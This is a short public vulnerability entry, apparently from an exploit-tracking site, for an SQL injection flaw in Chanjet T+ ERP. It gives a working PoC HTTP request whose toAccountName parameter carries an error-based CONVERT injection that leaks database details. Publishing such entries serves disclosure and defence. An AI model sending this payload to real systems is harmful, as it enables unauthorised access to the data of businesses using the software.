畅捷通T+ /tplus/GLSyncService.asmx/SimulationLoginNew SQL 注入漏洞

2026-05-09 畅捷通T PoC Public

Description

畅捷通T+是用友网络科技股份有限公司旗下畅捷通信息技术股份有限公司开发的一款面向小微企业的云ERP管理软件，提供财务管理、供应链管理、生产管理、人力资源管理、协同办公等核心功能，支持多组织、多账套、多币种管理，广泛应用于批发零售、制造加工、项目服务、电子商务等行业的数字化管理。畅捷通T+ /tplus/GLSyncService.asmx/SimulationLoginNew 接口存在SQL注入漏洞，攻击者可通过toAccountName参数构造恶意的SQL语句，利用CONVERT函数进行报错注入，获取数据库敏感信息。

PoC

POST /tplus/GLSyncService.asmx/SimulationLoginNew HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

toAccountName=1' AND 1 = CONVERT(int, @@version) --&UserName=&AdminPwd=&currentYear=2025-09-09

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Chanjet T+ /tplus/GLSyncService.asmx/SimulationLoginNew SQL Injection Vulnerability

References

Related Vulnerabilities